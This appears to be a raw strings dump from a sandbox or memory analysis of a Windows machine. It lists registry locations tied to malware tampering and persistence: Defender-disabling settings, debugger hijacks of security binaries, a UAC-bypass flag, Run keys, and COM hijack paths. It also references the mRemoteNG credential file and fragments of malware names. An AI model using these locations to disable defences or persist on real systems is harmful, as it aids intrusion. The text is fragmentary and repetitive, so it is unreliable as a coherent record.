TSExpirationTime TSSource TSState SpyNet SpyNetReporting SubmitSamplesConsent UX Configuration DisablePrivacyMode Notification_Suppress SuppressRebootNotification SuppressWdoNotification MpEngine DisableScriptScanning Reporting DisableEnhancedNotifications Scan DisableArchiveScanning Threats ThreatSeverityDefaultAction CoreService Device Control Miscellaneous Configuration Quarantine Remediation Signature Updates WCOS Windows Defender Exploit Guard windows nt currentversion EditionID ProductName UAC_bypassed terminal server install software microsoft windows currentversion runonce IMAGE FILE EXECUTION OPTIONS MPCMDRUN.EXE MPSIGSTUB.EXE MRT.EXE MSMPENG.EXE MSMPENGCP.EXE MSSECES.EXE DEBUGGER GlobalFlag UseFilter FilterFullPath VerifierDlls SVCHOST.exe APPCOMPATFLAGS CUSTOM SERVICES.EXE INSTALLEDSDB LAYERS LicensingDiag NOTIFICATIONS DATA Ports Schedule TaskCache Boot Logon Maintenance Plain Tasks Tree SilentProcessExit SYSTEMRESTORE DISABLES21} TypeLib {C3FCC19E-A970-11D2-8B5A-00A0C9B7C9C4} TypeLib {D1047BC2-67C0-400C-A94C-E64446A67FBE} TypeLib {D189FF1A-E266-4F13-9637-4B9522279FFC} TypeLib {D5346658-B5FD-4353-9647-07AD4783D5A0} TypeLib {DDB34005-9BA3-4025-9554-F00A2DF5DBF5} TypeLib TypeLib {5477469E-83B1-11D2-8B49-00A0C9B7C9C4} {57DACAE6-5313-4E27-B109-E6E3D415730C} {7071EC00-663B-4BC1-A1FA-B97F3B917C55} {A87F050D-3FFD-4682-8E77-34E530624CB4} {C0653E9C-DB3B-4E9E-B3AB-B8E1DF53972F} TypeLib {8C389764-F036-48F2-9AE2-88C260DCF43B} win32 win64 {5477469E-83B1-11D2-8B49-00A0C9B7C9C4} {57DACAE6-5313-4E27-B109-E6E3D415730C} {7071EC00-663B-4BC1-A1FA-B97F3B917C55} {A87F050D-3FFD-4682-8E77-34E530624CB4} {C0653E9C-DB3B-4E9E-B3AB-B8E1DF53972F} ACTIVATABLECLASSES PACKAGE DEBUGINFORMATION DEBUGPATH DesktopBackground shell COMMAND Directory Background shell COMMAND DRIVE SHELLEX FOLDEREXTENSIONS EXEFILE SHELL OPEN COMMAND FOLDER SHELL OPEN COMMAND Interface {04C6BE1E-1DB1-4058-AB7A-700CCCFBF254} TypeLib {1069B656-07F8-41D6-9B1C-6B1F43A8A4A1} TypeLib {178E5337-1528-4591-B1C9-1C6E484686D8} TypeLib {5C6FB596-4828-4ED5-B9DD-293DAD736FB5} TypeLib {B18E0B40-C089-4350-8328-066C668BCCC2} TypeLib {B81FF171-20F3-11D2-8DCC-00A0C9B00521} TypeLib {C3FCC19E-A970-11D2-8B5A-00A0C9B7C9C4} TypeLib {D1047BC2-67C0-400C-A94C-E64446A67FBE} TypeLib {D189FF1A-E266-4F13-9637-4B9522279FFC} TypeLib {D5346658-B5FD-4353-9647-07AD4783D5A0} TypeLib {DDB34005-9BA3-4025-9554-F00A2DF5DBF5} TypeLib lnkfile Local Settings Software Microsoft Windows CurrentVersion AppContainer Storage MicrosoftEdge MSCFILE SHELL OPEN COMMAND Unknown AXSPH CLIENTS STARTMENUINTERNET FIREFOX.EXE SHELL OPEN COMMAND GOOGLE CHROME SHELL OPEN COMMAND IEXPLORE.EXE SHELL OPEN COMMAND Google Chrome Extensions Update ClientState {4DC8B4CA-1BDA-483e-B5FA-D3C12E15B62D} {8A69D345-D564-463C-AFF1-A69D9E530F96} Mozilla Firefox Extensions recfg System32 Configuration AppID {2781761E-28E2-4109-99FE-B9D127C57AFE} {A79DB36D-6218-48e6-9EC9-DCBA9A39BF0F} CLSID {2781761E-28E0-4109-99FE-B9D127C57AFE} {2781761E-28E2-4109-99FE-B9D127C57AFE} {A2D75874-6750-4931-94C1-C99D3BC9D0C7} {D8559EB9-20C0-410E-BEDA-7ED416AECC2A} inprochandler32 InprocServer32 InprocServer LocalServer32 LocalServer ScriptletURL TreatAs TypeLib {6D40A6F9-3D32-4FCB-8A86-BE992E03DC76} Wow6432Node CLSID {2781761E-28E0-4109-99FE-B9D127C57AFE} {2781761E-28E2-4109-99FE-B9D127C57AFE} {A2D75874-6750-4931-94C1-C99D3BC9D0C7} {D8559EB9-20C0-410E-BEDA-7ED416AECC2A} inprochandler32 InprocServer32 InprocServer LocalServer32 LocalServer ScriptletURL TreatAs TypeLib {6D40A6F9-3D32-4FCB-8A86-BE992E03DC76} TypeLib {5477469E-83B1-11D2-8B49-00A0C9B7C9C4} {57DACAE6-5313-4E27-B109-E6E3D415730C} {7071EC00-663B-4BC1-A1FA-B97F3B917C55} {A87F050D-3FFD-4682-8E77-34E530624CB4} {C0653E9C-DB3B-4E9E-B3AB-B8E1DF53972F} TypeLib {8C389764-F036-48F2-9AE2-88C260DCF43B} win32 win64 {5477469E-83B1-11D2-8B49-00A0C9B7C9C4} {57DACAE6-5313-4E27-B109-E6E3D415730C} {7071EC00-663B-4BC1-A1FA-B97F3B917C55} {A87F050D-3FFD-4682-8E77-34E530624CB4} {C0653E9C-DB3B-4E9E-B3AB-B8E1DF53972F} shell COMMAND .EXE SHELL OPEN COMMAND ACTIVATABLECLASSES PACKAGE DEBUGINFORMATION DEBUGPATH APPX82A6GWRE4FDG3BT635TN5CTQJF8MSDD2 SHELL OPEN COMMAND DRIVE SHELLEX FOLDEREXTENSIONS EXEFILE SHELL OPEN COMMAND FOLDER SHELL OPEN COMMAND LAUNCHER.SYSTEMSETTINGS SHELL OPEN COMMAND Local Settings Software Microsoft Windows CurrentVersion AppContainer Storage MicrosoftEdge MS-SETTINGS CURVER SHELL OPEN COMMAND MSCFILE SHELL OPEN COMMAND software microsoft windows nt currentversion terminal server install software microsoft windows currentversion runonce APPCOMPATFLAGS COMPATIBILITY ASSISTANT PERSISTED LAYERS Explorer ScreenSaver NOTIFICATIONS DATA WINDOWS LOAD WINLOGON WINDOWS IDENTITY LOCAL CURRENTVERSION APPMANAGEMENT RUNONCE RUNONCEEX RUNSERVICES RUNSERVICESONCE Explorer Browser Helper Objects FileExts .accdbs UserChoice .doc UserChoice .docx UserChoice .htm UserChoice .html UserChoice .pdf UserChoice .ppt UserChoice .pptx UserChoice .xls UserChoice .xlsx UserChoice RunMRU ScreenSaver TypedPaths User Shell Folders PREAPPROVED Group Policy Objects Group Policy Scripts Logoff Logon INTERNET SETTINGS AutoConfigURL CertificateRevocation EnableSPDY3_0 ProxyEnable PROXYSERVER USER AGENT LOCKDOWN_ZONES ZONEMAP ZONES PACKAGEDAPPXDEBUG POLICIES EXPLORER DISALLOWRUN Settings ZonePolicy SHELLSERVICEOBJECTDELAYLOAD Uninstall WINTRUST TRUST PROVIDERS SOFTWARE PUBLISHING STATE Shell Associations UrlAssociations http UserChoice https UserChoice Windows Error Reporting Disabled Excel Options Open .NETFramework COMMAND PROCESSOR UpgradeData Edge Extensions INTERNET EXPLORER APPROVED EXTENSIONS APPROVEDEXTENSIONSMIGRATION DESKTOP GENERAL WALLPAPER DOWNLOAD CHECKEXESIGNATURES EUPP Protected - It is a violation of Windows Policy to modify. See aka.ms/browserpolicy EUPP EXTENSION COMPATIBILITY DLLNAME EXTENSION HOTICON ICON LOW RIGHTS ELEVATIONPOLICY Main Default_Page_URL NoProtectedModeBanner Secondary Start Pages Start Page TabProcGrowth USE FORMSUGGEST FeatureControl MenuExt PHISHINGFILTER ENABLEDV8 SearchScopes TabbedBrowsing NewTabPageShow Toolbar Office test Special Perf Office Access Addins Addins common additionalactionsdll Excel Addins options Security Trusted Documents TrustRecords OneNote Addins Outlook Addins Options General Security Today WebView PowerPoint Addins Word Addins Security Trusted Documents TrustRecords PCHealth ErrorReporting RestartManager RegFiles0000 SystemCertificates Certificates addins64 addins Windows Script Settings AmsiEnable Wow6432Node MICROSOFT WINDOWS CURRENTVERSION RUNONCE RUNONCEEX RUNSERVICES RUNSERVICESONCE POLICIES EXPLORER SHELLSERVICEOBJECTDELAYLOAD Uninstall Edge Extensions INTERNET EXPLORER EUPP Protected - It is a violation of Windows Policy to modify. See aka.ms/browserpolicy windows nt currentversion terminal server install software microsoft windows currentversion runonce WINDOWS LOAD WINLOGON Google Update ClientState {4DC8B4CA-1BDA-483e-B5FA-D3C12E15B62D} {8A69D345-D564-463C-AFF1-A69D9E530F96} data new_dataq _rptls ANTIMALWARE DOCTOR INC ANTIMALWARE DOCTOR Bit Torrent Application DC3_FEXEC fgiusji Google Update ClientState {4DC8B4CA-1BDA-483e-B5FA-D3C12E15B62D} {8A69D345-D564-463C-AFF1-A69D9E530F96} Licenses Mozilla Firefox Extensions netwire NtWqIVLZEWZU Policies Chromium ExtensionInstallForcelist Google Chrome Microsoft Edge INTERNET EXPLORER office common security ONEDRIVE ACCOUNTS PERSONAL SystemCertificates Certificates Disallowed Certificates Windows CurrentVersion Internet Settings System Scripts Logoff LOGON recfg SBSx SibCode System32 Configuration Win7zip WINRAR APPEVENTS SCHEMES APPS EXPLORER NAVIGATING Console WindowPosition Control Panel Desktop WallPaper Environment Keyboard Layout POLICIES MICROSOFT INTERNET EXPLORER InfoDelivery Restrictions Printers Defaults SYSTEM Control BackupRestore FilesNotToBackup Volatile Environment .DEFAULT Software Classes AppID {2781761E-28E2-4109-99FE-B9D127C57AFE} {A79DB36D-6218-48e6-9EC9-DCBA9A39BF0F} CLSID {2781761E-28E0-4109-99FE-B9D127C57AFE} {2781761E-28E2-4109-99FE-B9D127C57AFE} {A2D75874-6750-4931-94C1-C99D3BC9D0C7} {D8559EB9-20C0-410E-BEDA-7ED416AECC2A} inprochandler32 InprocServer32 InprocServer LocalServer32 LocalServer ScriptletURL TreatAs TypeLib {6D40A6F9-3D32-4FCB-8A86-BE992E03DC76} TypeLib {8C389764-F036-48F2-9AE2-88C260DCF43B} win32 win64 {5477469E-83B1-11D2-8B49-00A0C9B7C9C4} {57DACAE6-5313-4E27-B109-E6E3D415730C} {7071EC00-663B-4BC1-A1FA-B97F3B917C55} {A87F050D-3FFD-4682-8E77-34E530624CB4} {C0653E9C-DB3B-4E9E-B3AB-B8E1DF53972F} shell COMMAND .EXE SHELL OPEN COMMAND ACTIVATABLECLASSES PACKAGE DEBUGINFORMATION DEBUGPATH APPX82A6GWRE4FDG3BT635TN5CTQJF8MSDD2 SHELL OPEN COMMAND DRIVE SHELLEX FOLDEREXTENSIONS EXEFILE SHELL OPEN COMMAND FOLDER SHELL OPEN COMMAND LAUNCHER.SYSTEMSETTINGS SHELL OPEN COMMAND Local Settings Software Microsoft Windows CurrentVersion AppContainer Storage MicrosoftEdge MS-SETTINGS CURVER SHELL OPEN COMMAND MSCFILE SHELL OPEN COMMAND Wow6432Node CLSID InprocServer32 TypeLib {5477469E-83B1-11D2-8B49-00A0C9B7C9C4} {57DACAE6-5313-4E27-B109-E6E3D415730C} {7071EC00-663B \Device\HarddiskVolume3\Windows\System32\RuntimeBroker.exe \Device\HarddiskVolume3\Windows\System32\en-US\cscsvc.dll.mui SEGOE UI Segoe UI SEGOE UI Segoe UI SEGOE UI Segoe UI 1255436723 .mca ScriptCache \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Service Worker\CacheStorage\3b278e44f1419f0b07a0417a936be8182ad635d4\580bc224-751b-4d76-b725-8d991e5d800d\c0280c46276faa33_1 \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Service Worker\CacheStorage\3b278e44f1419f0b07a0417a936be8182ad635d4\580bc224-751b-4d76-b725-8d991e5d800d\c0280c46276faa33_1 \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SmbDirect-Opt-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat WofCompressedData \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SmbDirect-Opt-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat::$ATTRIBUTE_LIST \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SmbDirect-Opt-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat:WofCompressedData C:\Program Files (x86)\mRemoteNG\mRemoteNG.exe \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0111~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0110~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat \Registry\Machine\System\CurrentControlSet\Control\Video\{67E8BE58-0EC0-11F1-B1F7-806E6F6E6963}\0007 ftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Extension State\LOG \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Service Worker\CacheStorage\3b278e44f1419f0b07a0417a936be8182ad635d4\580bc224-751b-4d76-b725-8d991e5d800d\9ed76774ced27e71_0 \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Service Worker\CacheStorage\3b278e44f1419f0b07a0417a936be8182ad635d4\580bc224-751b-4d76-b725-8d991e5d800d\9ed76774ced27e71_0 \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Service Worker\CacheStorage\3b278e44f1419f0b07a0417a936be8182ad635d4\580bc224-751b-4d76-b725-8d991e5d800d\9ed76774ced27e71_1 \REGISTRY\MACHINE\SOFTWARE\Classes\Extensions\ContractId\Windows.BackgroundTasks\PackageId\MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy\ActivatableClassId\Global.IrisService.AppXnpw2wspmxg49yvh26y9jrqkskbz88tjf.wwa 7rjkqvnhrd1pmnffbpg6q3t267fg.wwa \REGISTRY\USER\S-1-5-21-3914889805-4071901059-918772286-1001\Software\Microsoft\input\TypingInsights \Device\HarddiskVolume3\Windows\System32\drivers\etc\hosts ipconfig.exe ha2f38qat9mf90c7mf.mca SEGOE UI Segoe UI 6396 191407-3283318427-1255436723 System.Web \REGISTRY\MACHINE\SOFTWARE\Classes\Extensions\ContractId\Windows.BackgroundTasks\PackageId\Microsoft.Windows.ContentDeliveryManager_10.0.26100.1_neutral_neutral_cw5n1h2txyewy\ActivatableClassId\App.AppXea6epmb5w19sjwy9ckw8md46dm93nhkq.mca \REGISTRY\MACHIN es\Extensions\ContractId\Windows.BackgroundTasks\PackageId\Microsoft.Windows.ContentDeliveryManager_10.0.26100.1_neutral_neutral_cw5n1h2txyewy\ActivatableClassId\App.AppXfnethrsp7zb4s2ekfph2b5f7cgbkbswt.mca `\??\Volume{0c2ba0d7-b1f8-414d-afa1-d96d5a8eb1dd} \Device\HarddiskVolume3\Windows\System32\OnDemandConnRouteHelper.dll Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy 0x0-3e7$\Default C:\Program Files (x86)\mRemoteNG\mRemoteNG.exe \Device\HarddiskVolume3\Users\job\AppData\Roaming\mRemoteNG\confCons.xml SharedUtilities.Stub.BackgroundTasks.HydrateBackgroundTask App.AppXv7d7wrkhxww8bms980m32tp0jgwkhr1t.mca Windows.BackgroundTasks SEGOE UI Segoe UI SEGOE UI Segoe UI SEGOE UI Segoe UI \REGISTRY\MACHINE\SOFTWARE\Classes\Extensions\ContractId\Windows.BackgroundTasks\PackageId\MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy\ActivatableClassId\Global.PeopleWidget.AppXk1g60zcatcw3y9jcjjvv8ddxc98fmnse.mca \REGISTRY\MACHINE\SOFTWARE\Classes\Extensions\ContractId\Windows.BackgroundTasks\PackageId\MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy\ActivatableClassId\Global.PeopleWidget.AppXk1g60zcatcw3y9jcjjvv8ddxc98fmnse.mca pXrr05phpxx3rq1kpwp0y4avzvdfcsr75s.mca e\HarddiskVolume 32\backgroundTaskHost.exe confCons.xml wlrmdr.exe 63}\0000 SubC SubC MagicLibrary.dll mRemoteNG.log SEGOE UI Segoe UI 3a````a3 ```~```` cflxpxlfc ```` >cc`8 MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy U:MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy!CortanaUI SearchHost.exe yewy MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy StateRepository.SecondaryTileUserNotificationChannel.{AEBF2168-0BC1-4FDC-81D3-15AE59B71E3A} MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy U:MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy!CortanaUI SearchHost.exe yewy MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy StateRepository.PrimaryTileUserNotificationChannel.{BA64C9E0-1D6C-4187-AADA-2A3020AF5C64} MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy <{811414A8-8e5f-4990-a0a3-f552222e06f7}-RespectTextPrediction MicrosoftWindows.CrossDevice_0.25062.28.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy U:MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy!CortanaUI SearchHost.exe MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy ISTRY\MACHINE\SYSTEM\Control Microsoft-Windows-Application-Experience%4Steps-Recorder.evtx00 \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{DCB00D01-570F-4A9B-8D69-199FDBA5723B}\1.0\0 MicrosoftWindows.Client.OOBE_1000.26100.32.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.OOBE_1000.26100.32.0_x64__cw5n1h2txyewy \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{DCB00D01-570F-4A9B-8D69-199FDBA5723B} \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{DCB00D01-570F-4A9B-8D69-199FDBA5723B}\1.0 \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{00020430-0000-0000-C000-000000000046}\2.0\0 SMARTLOCKER://SMARTSCREENORIGINCLAIM \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{DCB00D01-570F-4A9B-8D69-199FDBA5723B}\1.0 \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{DCB00D01-570F-4A9B-8D69-199FDBA5723B}\1.0 \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{DCB00D01-570F-4A9B-8D69-199FDBA5723B} \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{DCB00D01-570F-4A9B-8D69-199FDBA5723B}\1.0\0 MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{DCB00D01-570F-4A9B-8D69-199FDBA5723B}\1.0 MicrosoftWindows.Client.OOBE_1000.26100.32.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{DCB00D01-570F-4A9B-8D69-199FDBA5723B} MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{DCB00D01-570F-4A9B-8D69-199FDBA5723B} \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{DCB00D01-570F-4A9B-8D69-199FDBA5723B}\1.0\0 \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{00020430-0000-0000-C000-000000000046}\2.0\0 MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{DCB00D01-570F-4A9B-8D69-199FDBA5723B}\1.0\0 MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{00020430-0000-0000-C000-000000000046} MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{DCB00D01-570F-4A9B-8D69-199FDBA5723B}\1.0 \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{DCB00D01-570F-4A9B-8D69-199FDBA5723B}\1.0 \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{00020430-0000-0000-C000-000000000046}\2.0 \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{00020430-0000-0000-C000-000000000046}\2.0 MicrosoftWindows.Client.OOBE_1000.26100.32.0_x64__cw5n1h2txyewy \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{DCB00D01-570F-4A9B-8D69-199FDBA5723B} \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{DCB00D01-570F-4A9B-8D69-199FDBA5723B}\1.0 SMARTLOCKER://SMARTSCREENORIGINCLAIM MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy SMARTLOCKER://SMARTSCREENORIGINCLAIM \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{DCB00D01-570F-4A9B-8D69-199FDBA5723B} \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{DCB00D01-570F-4A9B-8D69-199FDBA5723B} MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{DCB00D01-570F-4A9B-8D69-199FDBA5723B} MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{DCB00D01-570F-4A9B-8D69-199FDBA5723B}\1.0 \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{DCB00D01-570F-4A9B-8D69-199FDBA5723B}\1.0\0 \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{DCB00D01-570F-4A9B-8D69-199FDBA5723B}\1.0 MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{DCB00D01-570F-4A9B-8D69-199FDBA5723B}\1.0 \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{DCB00D01-570F-4A9B-8D69-199FDBA5723B} MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{DCB00D01-570F-4A9B-8D69-199FDBA5723B} \Device\HarddiskVolume3\Windows\System32\Windows.Security.Authentication.OnlineId.dll MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.OOBE_1000.26100.32.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Dnscache\Parameters\DnsConnectionsProxies MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.OOBE_1000.26100.32.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000q MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Notifications\Data MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy \REGISTRY\MACHINE\SYSTEM\ControlSet001\CONTROL\VIDEO\{67E8BE58-0EC0-11F1-B1F7-806E6F6E6963}\0000 \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Dnscache\Parameters\DnsConnectionsProxies \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Notifications\Data \REGISTRY\MACHINE\SYSTEM\ControlSet001\CONTROL\VIDEO\{67E8BE58-0EC0-11F1-B1F7-806E6F6E6963}\0000 \Device\HarddiskVolume3\Program Files\VMware\VMware Tools\suspend-vm-default.bat \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Notifications\Data MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy SMARTLOCKER://SMARTSCREENORIGINCLAIM MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy C:\WINDOWS\system32\cmd.exe /c ""C:\Program Files\VMware\VMware Tools\suspend-vm-default.bat"" MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy \Device\HarddiskVolume3\Program Files\VMware\VMware Tools\suspend-vm-default.bat MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy \Device\HarddiskVolume3\Program Files\VMware\VMware Tools\suspend-vm-default.bat MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Dnscache\Parameters\DnsConnectionsProxies \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Notifications\Data MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.OOBE_1000.26100.32.0_x64__cw5n1h2txyewy 